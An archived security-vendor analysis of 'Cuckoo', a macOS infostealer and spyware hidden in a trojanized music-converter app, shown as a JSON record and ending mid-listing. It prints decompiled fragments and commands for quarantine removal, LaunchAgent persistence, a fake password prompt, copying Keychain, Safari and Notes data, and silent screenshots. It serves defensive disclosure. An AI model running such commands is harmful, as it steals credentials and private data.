{
	"id": "fb702919-0109-4654-a93d-646796ae0090",
	"created_at": "2026-04-06T02:10:48.10929Z",
	"updated_at": "2026-04-10T13:12:25.547978Z",
	"deleted_at": null,
	"sha1_hash": "be7f950356d9181a05405ef1caeb4a847b897ad9",
	"title": "Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 502557,
	"plain_text": "Malware: Cuckoo Behaves Like Cross Between Infostealer and\r\nSpyware\r\nBy Adam Kohler \u0026 Christopher Lopez\r\nPublished: 2024-04-30 · Archived: 2026-04-06 01:57:46 UTC\r\nOn April 24, 2024, we found a previously undetected malicious Mach-O binary programmed to behave like a\r\ncross between spyware and an infostealer. We have named the malware Cuckoo, after the bird that lays its eggs in\r\nthe nests of other birds and steals the host's resources for the gain of its young. \r\nHow We Found Cuckoo\r\nThe first file we dove into is named DumpMediaSpotifyMusicConverter. It was uploaded to VirusTotal on April\r\n24; it can also be found under the name upd . It's a universal binary that can run on Intel or ARM-based Mac\r\ncomputers.\r\nA quick Google search for that application name led us to the website dumpmedia[.]com, which was hosting the\r\napplication. That website offered multiple apps for converting music from streaming services to MP3 format. We\r\ndownloaded the DMG for the Spotify version to see if it contained the malicious files. \r\nThe downloaded DMG contains an application bundle. Normally, macOS applications instruct the user to drag\r\nsuch apps into the /Applications folder. But in this case, it tells the user to right-click on it and click Open. \r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 1 of 22\n\nWhen we selected Show Package Contents instead of Open, and then navigated to the macOS folder within the\r\nbundle, we found a Mach-O binary called upd . That name raised a red flag because, normally, such binaries have\r\nthe name of the application. \r\nWhen we looked at the Resources folder in that bundle, we found another application bundle called DumpMedia\r\nSpotify Music Converter. This appears to be what the normal application bundle should be. \r\nLooking into the upd file in the original bundle, we found that it is signed adhoc with no developer ID. This\r\nmeans that Gatekeeper will initially stop the app from running and require the user to manually allow it. \r\njohnlocke@macos-14 ~ % codesign -dvvv /Volumes/DumpMedia\\ Spotify\\ Music\\ Converter\\ 3.1.29/DumpMedia\r\nExecutable=/Volumes/DumpMedia Spotify Music Converter 3.1.29/DumpMedia Spotify Music Converter.app/Co\r\nIdentifier=upd.upd\r\nFormat=app bundle with Mach-O universal (x86_64 arm64)\r\nCodeDirectory v=20400 size=1536 flags=0x2(adhoc) hashes=38+7 location=embedded\r\nHash type=sha256 size=32\r\nCandidateCDHash sha1=696343119e0a0686072f6a31d0edb29a5b8fd116\r\nCandidateCDHashFull sha1=696343119e0a0686072f6a31d0edb29a5b8fd116\r\nCandidateCDHash sha256=7a45639f768144799d608a4bbabf144fc1e3c016\r\nCandidateCDHashFull sha256=7a45639f768144799d608a4bbabf144fc1e3c016a7d665775c6314a0c71540f1\r\nHash choices=sha1,sha256\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 2 of 22\n\nCMSDigest=702fee1d3836cc14102ec2dfbf1e6706c2e359a8e38403d82789ba7d717cfc77\r\nCMSDigestType=2\r\nCDHash=7a45639f768144799d608a4bbabf144fc1e3c016\r\nSignature=adhoc\r\nInfo.plist entries=24\r\nTeamIdentifier=not set\r\nSealed Resources version=2 rules=13 files=242\r\nInternal requirements count=0 size=12\r\nRunning the Application\r\nOnce we allowed the application to run, we could see from a process monitor that it spawned a bash shell and\r\nstarted to gather host information using the system_profiler command to gather the hardware UUID. \r\nsh -c system_profiler SPHardwareDataType | awk '/Hardware UUIID/{print $(NF)}'\r\nThe strings for this malware are XOR-encoded; the output of the command above is set up and decoded in this\r\nsubroutine:\r\n100017f90 08d80150  adr   x8, 0x10001ba92\r\n100017f94 1f2003d5  nop\r\n100017f98 000540ad  ldp   q0, q1, [x8] {data_10001ba92} {data_10001ba92[0x10]}\r\n100017f9c e00700ad  stp   q0, q1, [sp] {XOREncodedStr}\r\n100017fa0 000541ad  ldp   q0, q1, [x8, #0x20] {data_10001ba92[0x20]} {data_10001ba92[0x30]}\r\n100017fa4 e00701ad  stp   q0, q1, [sp, #0x20] {var_50} {var_40}\r\n100017fa8 092140f9  ldr   x9, [x8, #0x40] {data_10001ba92[0x40]} {0x67277d29464e2824}\r\n100017fac 6a0e8052  mov   w10, #0x73\r\n100017fb0 48db0150  adr   x8, data_10001bb19[1] {\"neCM1yILp7V3BbMpgfgYYE6KY\"}\r\n100017fb4 1f2003d5  nop\r\n100017fb8 e92300f9  str   x9, [sp, #0x40] {0x67277d29464e2824}\r\n100017fbc ea030039  strb  w10, [sp {XOREncodedStr}] {0x73}\r\nFirst, it loads a pointer to the XOR-encoded string into register x8 . The q registers are used to load the values\r\npointed to by x8 at address 0x10001ba92 and store them on the stack. The value of 0x73 (“s” in ASCII) is\r\nmoved into x10 and is then later used to replace the first byte of the XOR-encoded string—the first letter of the\r\nsystem_profiler command. The key used to decode the string is at address 0x10001bb19 ; a pointer to this\r\naddress is loaded into x8 to be used in the decoding portion of this subroutine. \r\nNext, there’s the decoding loop: \r\n100017fdc 2d7dca9b  umulh  x13, x9, x10\r\n100017fe0 adfd43d3  lsr   x13, x13, #0x3\r\n100017fe4 ad7d0b9b  mul   x13, x13, x11\r\n100017fe8 8e696938  ldrb  w14, [x12, x9] {XOREncodedStr}\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 3 of 22\n\n100017fec\r\n0d696d38 ldrbw13, [x8, x13]\r\n100017ff0ad010e4a eor w13, w13, w14\r\n100017ff4 8d692938  strb  w13, [x12, x9] {XOREncodedStr}\r\n100017ff8 29050091  add   x9, x9, #0x1\r\n100017ffc 08050091  add   x8, x8, #0x1\r\n100018000 3f2101f1  cmp   x9, #0x48\r\n100018004 c1feff54  b.ne  0x100017fdc\r\nThe three instructions umulh , lsr , and mul set the value of X13 to 0x0 . This acts as the offset for the key\r\nthat is used for the decoding. The XOR-encoded string is loaded into register W12 from an offset of the address\r\npointed to by X12+X9 . X9 was already given the value of 0x1 , and the “s” was added previously, so the string\r\nstarts at the second character. The key pointed to by register X8 is iterated through a loop for the length of the\r\nencoded string.\r\nOnce this string is decoded, it is passed to a function that calls popen()  for execution. The UUID is then saved at\r\nthe address 0x10002036c for later use. \r\nA call to a similar XOR encoding function is used throughout the binary for all commands that are passed to\r\npopen() . \r\nThe application then creates a new copy of upd , renames it DumpMediaSpotifyMusicConverter, and places it in\r\na hidden folder in the /Users directory. This is why it sometimes appears as upd and other times as\r\nDumpMediaSpotifyMusicConverter. The original upd will then use xattr -d com.apple.quarantine to\r\nremove the quarantine flag from itself and from the copy of DumpMediaSpotifyMusicConverter. \r\nsh -c xattr -d com.apple.quarantine \"/private/var/folders/bq/v81jjr7d35jcwg0_813491z80000gn/T/AppTran\r\nsh -c xattr -d com.apple quarantine \"/Users/test/.local-E40EC858-5B4A-5B3F-B81F-161DF17D04F3/DumpMedi\r\nLocale Check\r\nAfter the query for the UUID, we observed that Cuckoo checks for the system’s LANG environmental variable.\r\nThis value is then compared with other locales in an If statement to determine whether the malicious behavior\r\nshould continue. \r\n100005a2c __builtin_strcpy(dest: \u0026hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, src: \"hy_AM;be_BY;kk_KZ;ru_RU;uk\r\n100005a40 XOR_func(\u0026hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, 0x1f)\r\nThis check is completed by executing the getenv() function and passing the LANG string, which on our systems\r\nwould return en_US.UTF-8 . This value is then passed to the snprintf() function to “cut” the string to only 5\r\ncharacters and a trailing “;” for matching purposes. \r\n100005aa4 00b50a30  adr   x0, data_10001b145 {\"LANG\"}\r\n100005aa8 1f2003d5  nop\r\n100005aac a94c0094  bl   _getenv\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 4 of 22\n\n100005ab0\r\ne00300f9 str x0, [sp {LanguageENV}]\r\n100005ab4a2b40a50 adr x2, data_10001b14a{\"%.5s;\"}\r\n100005ab8 1f2003d5  nop\r\n100005abc e0a70191  add   x0, sp, #0x69 {localeReturn(en_US;)}\r\n100005ac0 e1008052  mov   w1, #0x7\r\n100005ac4 fa4c0094  bl   _snprintf\r\nUsing the format string “%.5s;” results in en_US; . The If statement then uses the strstr() function to\r\nsearch for this result, along with another call to _sem_open() : \r\nif (_sem_open(\u0026_/mtx-%.2 and UUID, 0x200) != -1 \u0026\u0026 _strstr(\u0026hy_AM;be_BY;kk_KZ;ru_RU;uk_UA;, \u0026localeRe\r\nThe point is that the creators of this malware did not want to infect devices in five countries:\r\nArmenia ( hy_AM )\r\nBelarus ( be_BY )\r\nKazakhstan ( kk_KZ )\r\nRussia ( ru_RU )\r\nUkraine ( uk_UA )\r\nIf there is no match, this binary will open the legitimate SpotifyMusicConverter application. \r\nCreating Persistence\r\nStealers do not typically set persistence; that behavior is more usual in spyware. So it was surprising to see that\r\nthis malware does. \r\nEach of the strings needed to create and then populate a plist are passed through the XOR function to decode.\r\nOnce they are decoded, there is a check to see whether ~/Library/LaunchAgents exists. If not, it is created. \r\n100003e20 void _~/Library/LaunchAgents/\r\n100003e20 _snprintf(\u0026_~/Library/LaunchAgents/, 0x400, \"%s/%s\")\r\n100003e2c if (_opendir(\u0026_~/Library/LaunchAgents/) != 0)\r\n100003e30 _closedir()\r\n100003e2c else if (*___error() == 2)\r\n100003e50 _mkdir(\u0026_~/Library/LaunchAgents/, 0x1ed)\r\nTo set itself as a persistent binary, upd first copies itself and then saves itself to a newly created folder in the\r\nUser's home directory. This is accomplished using the NSGetExecutablePath() function, which returns the path\r\nof this binary and creates the path to DumpMediaSpotifyCoverter inside of the ~/.local-UUID path. The\r\nfcopyfile() function is then called to copy the binary to this new location. \r\n100003efc __NSGetExecutablePath(\u0026mainExecutablePath, \u0026var_269c)\r\n100003f28 int64_t x0_25 = 0\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 5 of 22\n\n100003f30 void pathToPlist\r\n100003f30 if (_stat(\u0026var_1640, \u0026pathToPlist) != 0 \u0026\u0026 _strcmp(\u0026mainExecutablePath, \u0026pathTo_DumpMedi\r\n100003f38 void* var_26b0_2 = \u0026pathTo_DumpMediaSpotifyMusicConverter\r\n100003f50 _snprintf(\u0026pathToPlist, 0x1000, \u0026var_1c0)\r\n100003f64 int64_t x0_28 = _fopen(\u0026var_1640, \"w\")\r\n100003f68 if (x0_28 != 0)\r\n100003f90 _fwrite(\u0026pathToPlist, 1, _strlen(\u0026pathToPlist), x0_28)\r\n100003f98 _fclose(x0_28)\r\n100003fa4 int64_t fptr - Main Executable = _open(\u0026mainExecutablePath, 0)\r\n100003fb0    int64_t var_26b0_3 = 511\r\n100003fbc    int64_t PathToDumpMediaSpotifyMusicConverter = _open(\u0026pathTo_DumpMediaSpotifyMusicCo\r\n100003fd4    _fcopyfile(fptr - Main Executable, PathToDumpMediaSpotifyMusicConverter, 0, 0xf)\r\nThe application uses launchctl to persistently load a LaunchAgent for a plist from the application. \r\nsh -c launchctl load -w \"/Users/test/Library/LaunchAgents/com.dumpmedia.spotifymusicconverter.plist\"\r\nLooking into the plist, we can see its goal is to run a login script every 60 seconds. \r\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\r\n\u003c!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList\r\n\u003cplist version=\"1.0\"\u003e\r\n\u003cdict\u003e\r\n \u003ckey\u003eLabel\u003c/key\u003e\r\n \u003cstring\u003ecom.user.loginscript\u003c/string\u003e\r\n \u003ckey\u003eProgramArguments\u003c/key\u003e\r\n \u003carray\u003e\r\n\u003cstring\u003e/Users/test/.local-E40EC858-5B4A-5B3F-B81F-161DF17D04F3/DumpMediaSpotifyMusicConverter\u003c/strin\r\n \u003c/array\u003e\r\n \u003ckey\u003eStartInterval\u003c/key\u003e\r\n \u003cinteger\u003e60\u003c/integer\u003e\r\n\u003c/dict\u003e\r\n\u003c/plist\u003e\r\nPersistence is set up with calls to the XOR function to decode the strings and then snprintf() to replace values\r\nin the format strings that create the plist: \r\n100003d28 _memcpy(\u0026var_1c0, \"\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u003c!DOCTYPE plist PUBLIC \"-//Ap\r\n100003d38  XOR_func(\u0026var_1c0, 0x188)\r\n100003d3c  char var_2694 = 0\r\n100003d48  int32_t HOME = '~!(\\x06'\r\n100003d54  XOR_func(\u0026HOME, 5)\r\n100003d64  int128_t var_11e0\r\n100003d64  __builtin_strcpy(dest: \u0026var_11e0, src: \"Library/LaunchAgents\")\r\n100003d84  XOR_func(\u0026var_11e0, 0x15)\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 6 of 22\n\n100003d94\r\nint64_t var_11f0\r\n100003d94__builtin_strcpy(dest: \u0026var_11f0, src: \"%s/.local-%s\")\r\n100003dac  XOR_func(\u0026var_11f0, 0xd)\r\n100003dbc  int128_t var_1220\r\n100003dbc  __builtin_strcpy(dest: \u0026var_1220, src: \"com.dumpmedia.spotifymusicconverter.plist\")\r\n100003dd4  XOR_func(\u0026var_1220, 0x2a)\r\n100003de4  int128_t var_1240\r\n100003de4  __builtin_strcpy(dest: \u0026var_1240, src: \"DumpMediaSpotifyMusicConverter\")\r\n100003dfc  XOR_func(\u0026var_1240, 0x1f)\r\n100003e04 int64_t x0_8 = _getenv(\u0026HOME)\r\nPrivilege Escalation\r\nFrom here, upd uses osascript to ask the user for their password using the prompt “macOS needs to access\r\nSystem Settings.” (Note that it doesn’t explicitly tell the user it needs a password.) Once the correct password is\r\nentered, upd stores it in a file called pw.dat that is located at ~/.local-UUID/—the same place as the copied and\r\nrenamed udp .\r\nWe’ve seen other recent malware use a similar approach to capturing passwords. But this one uses an interesting\r\ntactic to test the password. \r\nAs mentioned, the password is saved to a file; this is completed by building the path to the file to use. \r\n10000503c   int64_t homeENV = _getenv(\u0026HOME)\r\n10000503c   void* UUID = \u0026UUID_10002036c\r\n100005050   void _~/.local-UUID\r\n100005050   _snprintf(\u0026_~/.local-UUID, 0x400, \u0026_%s/.local-%s)\r\n100005054   void* var_a80 = \u0026_~/.local-UUID\r\n100005064   void _~/.local-UUID/pw.dat\r\n100005064   _snprintf(\u0026_~/.local-UUID/pw.dat, 0x400, \u0026_%s/pw.dat)\r\n100005070   if (_opendir(\u0026_~/.local-UUID) != 0)\r\n100005074     _closedir()\r\n100005070   else if (*___error() == 2)\r\n100005094     _mkdir(\u0026_~/.local-UUID, 0x1ff)\r\nOnce the pw.dat file is created, a function we call PasswordCapture() is executed. It builds the script above and\r\nparses the returned text value. This value is then passed to a passwordChecker() function along with the\r\npw_name member of the password structure that was returned by a call to getpwuid(getuid()) . The\r\npasswordChecker() function uses Core Services Identity functions to determine if the captured password is\r\ncorrect by returning 1 if successful in authenticating. \r\n1000187c8 BOOL TestPassword(int64_t passwdUser, int64_t password)\r\n1000187f0 int64_t usernameStr = _CFStringCreateWithCString(0, passwdUser, 0x8000100)\r\n10001881c  int64_t query = _CSIdentityQueryCreateForName(*_kCFAllocatorDefault, usernameStr, 1, 1,\r\n10001882c  _CSIdentityQueryExecute()\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 7 of 22\n\n100018834\r\nint64_t queryResult = _CSIdentityQueryCopyResults(query)\r\n100018844char successful\r\n100018844  if (_CFArrayGetCount() != 1)\r\n100018890 successful = 0\r\n100018844 else\r\n100018850 int64_t firstValue = _CFArrayGetValueAtIndex(queryResult, 0)\r\n100018868    int64_t passwordString = _CFStringCreateWithCString(0, password, 0x8000100)\r\n100018880    if (_CSIdentityAuthenticateUsingPassword(firstValue, passwordString) != 0)\r\n100018880    successful = 1\r\n100018880    else\r\n100018880    successful = 0\r\n100018888    _CFRelease(passwordString)\r\n100018898 _CFRelease(usernameStr)\r\n1000188a0  _CFRelease(queryResult)\r\n1000188a8  _CFRelease(query)\r\n1000188c0  return successful\r\nOnce the password check is completed, it is written to the pw.dat file mentioned above. \r\n100005138 if (((correctPasswd \u0026 1) == 0 \u0026\u0026 password_1 != 0) || (correctPasswd \u0026 1) != 0)\r\n100005160 int64_t fptr = _fopen(\u0026_~/.local-UUID/pw.dat, \"w\")\r\n100005164 if (fptr != 0)\r\n100005184 _fwrite(\u0026password, 1, _strlen(\u0026password), fptr)\r\n10000518c _fclose(fptr)\r\nIn order to proceed, the malware requires the user to accept the TCC prompts for access to the Finder,\r\nmicrophone, and downloads. \r\nIt then looks to discover more about the host by running the sw_vers , system_profiler SPHardwareDataType ,\r\nand ps aux commands. These gather information about the macOS version and build, hardware, and processes.\r\nWe’ll explain them a bit more below. \r\nIt then calls osascript again to set a variable tf to the path of the Desktop folder. Finally, it mutes the volume\r\nof the computer. \r\nosascript -e 'set volume output muted true'\r\nSpying and Infostealing Capabilities\r\nAs seen in recent stealers, this malware queries for specific files associated with specific applications, in an\r\nattempt to gather as much information as possible from the system. \r\nThe main engine of this malware collects information from the system and associates the type of information\r\ncollected with a keyword that is then observed in network communications. \r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 8 of 22\n\nStarting at the address 0x100016024 we will break down its capabilities in a function we call runIT() . (Because\r\nthis malware sample was stripped— meaning we don’t have information about functions—we renamed the\r\nfunction calls to specify different capabilities observed.)\r\nHere we observe the use of the string NFTktRMW , which is seen in several communications:\r\n1000123bc if (x0_3 != 0)\r\n1000123d0 int64_t var_178\r\n1000123d0 __builtin_strncpy(dest: \u0026var_178, src: \"NFTktRMW\", n: 9)\r\n1000123e0    XOR_func(\u0026var_178, 9)\r\n1000123f0    int128_t var_1b0\r\n1000123f0    __builtin_strcpy(dest: \u0026var_1b0, src: \"macOS Password: %s\\nBLD: %s\\nPC Name: %s\\nUse\r\n10001240c    XOR_func(\u0026var_1b0, 0x32)\r\nA string is also decoded that will be used to send certain types of information to the Command and Control server\r\n(C2), including the password (which was captured earlier), the build, hostname, and username. These slots are\r\nfilled in by querying the system with other functions, including getuid() and hostname() For example:\r\nSystem profiler command to obtain hardware information: \r\n10001248c __builtin_strcpy(dest: \u0026systemProfilerCMD, src: \"system_profiler SPHardwareDataTy\\t,\")\r\n100012498 XOR_func(\u0026systemProfilerCMD, 0x23)\r\n1000124a4 char* x0_14 = popenCMD(\u0026systemProfilerCMD, 1)\r\nCall to ps aux to capture currently running processes:\r\n1000125b0 XOR_func(\u0026ps aux, 7)\r\n1000125bc char* x0_27 = popenCMD(\u0026ps aux, 1)\r\n1000125c0 if (x0_27 != 0)\r\n1000125d8 x19 = _realloc(x19, _strlen() + 0x4000)\r\n1000125e0 _strcat()\r\n1000125ec *(x19 + _strlen()) = 0xa\r\n1000125f4 _free(x0_27)\r\nQuery for installed applications, while avoiding .DS_Store and .localized files:\r\n100012600 int64_t openApplications = _opendir(\"/Applications\")\r\n100012604 if (openApplications != 0)\r\n100012610 int64_t x0_34\r\n100012610 int128_t v0_2\r\n100012610 x0_34, v0_2 = _strlen(x19)\r\n100012620 *(x19 + x0_34) = *\"\\nApplications:\\n\"\r\n100012628 int64_t i = _readdir(openApplications)\r\n10001262c if (i != 0)\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 9 of 22\n\n100012684 do\r\n100012654 if (_strcmp(i + 0x15, \".DS_Store\") != 0 \u0026\u0026 _strcmp(i + 0x15, \".localized\")\r\n100012670 _strcat(x19, i + 0x15)\r\n100012678          *(x19 + _strlen()) = 0xa\r\n100012680        i = _readdir(openApplications)\r\n100012684      while (i != 0)\r\n10001268c    _closedir(openApplications)\r\nEach of the functions below follows a similar pattern: First, important encoded strings are decoded by passing\r\nthem to the XOR function mentioned earlier. Next, paths to important files for collection are created and passed to\r\nfunctions for opening and returning pointers to these files. \r\n1000161b8  browserSetup()\r\n1000161bc  fileZilla()\r\n1000161c0  steamQuery()\r\n1000161c4  wallets_and_coins!()\r\n1000161c8  Discord()\r\n1000161cc  Telegram()\r\n1000161d0  zsh_ssh()\r\n1000161ec  curlSetup(arg1, \u0026var_c0, \u0026var_e0, data_1000204b8, data_1000204c0, nullptr)\r\nThose familiar with other macOS stealers may already be familiar with the types of files that are queried for by\r\nthis one. We will dig into a few of them to show what information is obtained, then explore the others in an\r\naddendum at the end of this post. \r\nTCC Reset\r\nAfter the collection of data from these third-party applications, we observed a call to tccutil . \r\n100018740  __builtin_strncpy(dest: \u0026tccutil reset AppleEvents, src: \"tccutil reset Ap\", n: 0x10)\r\n100018748  __builtin_strcpy(dest: \u0026tccutil reset AppleEvents:0xa, src: \"set AppleEvents\")\r\nThis command is decoded and passed to popen() for execution. It will reset the TCC database specific to\r\nAppleEvents permissions. It is unclear why this was completed, since it would prompt the user for permissions. \r\nWhat follows is another osascript command for the Desktop. Once this finishes, the collection of data\r\ncontinues, this time targeting Apple applications. We observed Cuckoo copying files related to Safari, Notes, and\r\nKeychain to temporary locations in /var/folder, which is assigned using the getenv(TMPDIR) function call. \r\nsh -c osascript\u003c\u003cEOD tell application \"Finder\" duplicate folder\r\n(POSIX file \"/Users/test/Library/Keychains\" as alias) to folder\r\n(POSIX file \"/var/folders/ba/v81jjr7d35jcwg0_813491z80000gn/T/Tak6rUS6eNwexzg\" as\r\nalias) with replacing end tell\r\nEOD\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 10 of 22\n\nApp Data Collection\r\nAs seen in recent stealers, data from Safari, the keychain, and Notes are captured. \r\n10001626c   SafarQuery()\r\n100016270   Keychains()\r\n100016274   Notes()\r\n100016278   createTMPDirAndGrabFiles()\r\n100016294   curlSetup(arg1, \u0026var_c0, \u0026var_e0, data_1000204b8, data_1000204c0, nullptr)\r\nSafariQuery()\r\nPaths to files of interest—including bookmarks, cookies, and history—are created and passed as arguments to\r\nfunctions to open and read from these files. \r\n100013f34  __builtin_strcpy(dest: \u0026binaryCookies, src: \"Cookies.binarycookies\")\r\n100013f4c  XOR_func(\u0026binaryCookies, 0x16)\r\n100013f5c  int64_t cookiesPlist\r\n100013f5c  __builtin_strcpy(dest: \u0026cookiesPlist, src: \"Cookies.plist\")\r\n100013f74  XOR_func(\u0026cookiesPlist, 0xe)\r\n100013f84  int64_t formValues\r\n100013f84  __builtin_strncpy(dest: \u0026formValues, src: \"Form Val\", n: 8)\r\n100013f90  int32_t var_a8 = 0x441539\r\n100013fa0  XOR_func(\u0026formValues, 0xc)\r\n100013fb0  int64_t HistoryDB\r\n100013fb0  __builtin_strncpy(dest: \u0026HistoryDB, src: \"History.\", n: 8)\r\n100013fbc  HistoryDB:7.d = 0x122867\r\n100013fcc  XOR_func(\u0026HistoryDB, 0xb)\r\n100013fdc  int128_t BookMarksPlist\r\n100013fdc  __builtin_strcpy(dest: \u0026BookMarksPlist, src: \"Bookmarks.plist\")\r\n100013fec  XOR_func(\u0026BookMarksPlist, 0x10)\r\n100013ffc  int128_t Library/Cookies\r\n100013ffc  __builtin_strcpy(dest: \u0026Library/Cookies, src: \"%s/Library/Cookies/%s\")\r\n100014010  XOR_func(\u0026Library/Cookies, 0x16)\r\n100014020  int128_t SafariCookies\r\n100014020  __builtin_strcpy(dest: \u0026SafariCookies, src: \"%s/Library/Containers/com.apple.Safari/Data\r\n100014040  XOR_func(\u0026SafariCookies, 0x3f)\r\n100014050  int128_t Browsers/Safari\r\n100014050  __builtin_strcpy(dest: \u0026Browsers/Safari, src: \"Browsers/Safari\")\r\n100014060  XOR_func(\u0026Browsers/Safari, 0x10)\r\n100014070  int64_t _/Library/Safari\r\n100014070  __builtin_strcpy(dest: \u0026_/Library/Safari, src: \"Library/Safari\")\r\nThere is a specific function call for Apple applications that executes multiple calls to osascript to duplicate and\r\nstore these files in a temp directory. This temp directory is also used in the collection of other browser data. \r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 11 of 22\n\nKeychains()\r\nFor the keychain capture, Cuckoo builds a path to the user’s Keychain directory (~/Library/Keychain) and passes\r\nthis as the target for capturing files within the directory. \r\n100014414  _snprintf(\u0026_~/Library/Keychains, 0x200, \"%s/%s/%s\")\r\n100014428  osascriptCreateforApple()\r\n10001442c  void* var_4b0 = \u0026var_458\r\n10001442c  int64_t* var_4a8_2 = \u0026Keychains\r\n100014440  _snprintf(\u0026_~/Library/Keychains, 0x200, \"%s/%s\")\r\n100014444  int64_t* var_498 = \u0026Keychains\r\n100014444  void* var_490 = \u0026_~/Library/Keychains\r\n100014464  openDir_readDir(DirectoryOpen: \u0026_~/Library/Keychains, \"*\", avoid_DS_Store, \u0026var_498, 0x3\r\nNotes()\r\nSimilar to the previous captures, paths to files of interest associated with the Notes application are created and\r\npassed to the function that calls multiple osascript executions that make copies of these files. \r\n100014564  __builtin_strcpy(dest: \u0026NotesDir, src: \"%s/Library/Containers/com.apple.Notes/Data/Libra\r\n100014580  XOR_func(\u0026NotesDir, 0x39)\r\n100014584  int64_t var_520_1 = x0_5\r\n100014594  void var_238\r\n100014594  _snprintf(\u0026var_238, 0x200, \u0026NotesDir)\r\n1000145a8  osascriptCreateforApple()\r\n1000145b8  int128_t NoteStore.sqlite\r\n1000145b8  __builtin_strncpy(dest: \u0026NoteStore.sqlite, src: \"%s/Library/Group Containers/group.com.a\r\n1000145cc  int128_t var_4b0\r\n1000145cc  var_4b0:0xf.d = 0x27473f\r\n1000145d8  XOR_func(\u0026NoteStore.sqlite, 0x43)\r\n1000145dc  int64_t var_520_2 = x0_5\r\n1000145ec  _snprintf(\u0026var_238, 0x200, \u0026NoteStore.sqlite)\r\n100014600  osascriptCreateforApple()\r\nAdditional File Capture\r\nThe malware then proceeds to look for various file-type extensions in the Desktop and Document directories. \r\nsh -c osascript\u003c\u003cEOD\r\ntell application \"Finder\"\r\nset desktopFolder to path to desktop folder set documentsFolder to path to documents folder\r\nset srFiles to every file of desktopFolder whose name extension is in {\"txt\",\"rtf\",\"doc\", \"docx\",\"xIs\r\n\"Ovpn\",\"kdbx\",\"cont\", “son”,“jpg\",\"dat\",\"pdf\",\"pem\"}\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 12 of 22\n\nset docsFiles to every file of documentsFolder whose name extension is in {\"txt\",\"rtf\",\"doc\", \"docx\"\r\n\"sql\",\"ovpn\",\"kdbx\",\"cont”,\"son\",\"jpg\",\"dat\",\"pdf\", \"pem\"} end tell EOD\r\nIt will then unmute the computer by running the same command as before but by setting itself to false. It is\r\npossible that it mutes the computer and then unmutes it when it is using screen capture due to the computer\r\nmaking an audible sound when initiating. \r\nScreencapture()\r\nThis malware even runs the screencapture command. Arguments passed to the screenshot function include the .jpg\r\nfile type and the path where the screenshot is stored. \r\n100013e68 e0730091  add   x0, sp, #0x1c {_.jpg}\r\n100013e6c e1a30091  add   x1, sp, #0x28 {TMPDIR/screenshot.jpg}\r\n100013e70 14f9ff97  bl   screencaptureSetup\r\nThe command is then decoded and passed to popen() function to capture screenshots and save them. \r\n1000122ec a8750470  adr   x8, 0x10001b1a3\r\n1000122f0 1f2003d5  nop\r\n1000122f4 0001c03d  ldr   q0, [x8] {data_10001b1a3, \"screencapture -x -t %s \"%s\"\"}\r\n1000122f8 a0039b3c  stur  q0, [x29, #-0x50 {screencaptureCMD}]\r\n1000122fc 00c1c03c  ldur  q0, [x8, #0xc] {data_10001b1a3[0xc], \"e -x -t %s \"%s\"\"}\r\n100012300 a0c39b3c  stur  q0, [x29, #-0x44 {screencaptureCMD+0xc}]\r\n100012304 a04301d1  sub   x0, x29, #0x50 {screencaptureCMD}\r\n100012308 81038052  mov   w1, #0x1c\r\n10001230c 60170094  bl   XOR_func\r\n100012310 f44f00a9  stp   x20, x19, [sp] {_.jpg} {pathForScreenshot}\r\n100012314 e0430091  add   x0, sp, #0x10 {var_260}\r\n100012318 a24301d1  sub   x2, x29, #0x50 {screencaptureCMD}\r\n10001231c 01408052  mov   w1, #0x200\r\n100012320 e31a0094  bl   _snprintf\r\n100012324 e0430091  add   x0, sp, #0x10 {var_260}\r\n100012328 01008052  mov   w1, #0\r\n10001232c cb160094  bl   popenCMD\r\nWe believe that the system is muted when a screenshot is captured to prevent the user from knowing it was\r\nsuccessful (although the user would be prompted by TCC to allow it). It is unclear whether this screenshot\r\nfunctionality is completely developed, since we did not observe any cross-references to these functions, which\r\nwould indicate what called them. \r\nOpening the Actual Converter Application\r\nhttps://www.kandji.io/blog/malware-cuckoo-infostealer-spyware\r\nPage 13 of 22\n\nIn order to make it seem that nothing suspicious has occurred, the malware copies the legitimate version of the\r\napplication that was found in the resource folder to the /Application directory. It then launches the application.\r\ncp -r \"/private/var/folders/bq/v81jjr7d35jwg0_813491z80000gn/T/\r\nAppTranslocation/2C379A6D-A124-4632-B142-C00A9D88EFC5/d/\r\nDumpMedia Spotify Music Converter. app/ Contents/Resources/DumpMedia Spotify Music Converter.app\" \"/A\r\nSpotify Music Converter. app\"\r\nsh -c open -a \"/private/var/folders/bq/v81jjr7d35jcwg0_813491z80000gn/T/ AppTranslocation/2C379A6D-A1\r\nThis is completed by querying for the legitimate app inside the malicious app bundle’s Resource directory, using\r\nthe CFBundleCopyResourceURL() function. Then the cp and open commands are built and executed. This is\r\ndone to prevent the user from potentially noticing another file was actually executed.  \r\n1000058b8 _strcpy(\u0026stringPathToAppinResource, _CFStringGetCStringPtr(_CFURLCopyFileSystemPath(_CFB\r\n1000058c4 int64_t pathLength = _strlen(\u0026stringPathToAppinResource) - 1\r\n1000058d0 if (zx.d(*(\u0026stringPathToAppinResource + pathLength)) == 0x2f)\r\n1000058d4  *(\u0026stringPathToAppinResource + pathLength) = 0\r\n1000058f0 int128_t filename\r\n1000058f0 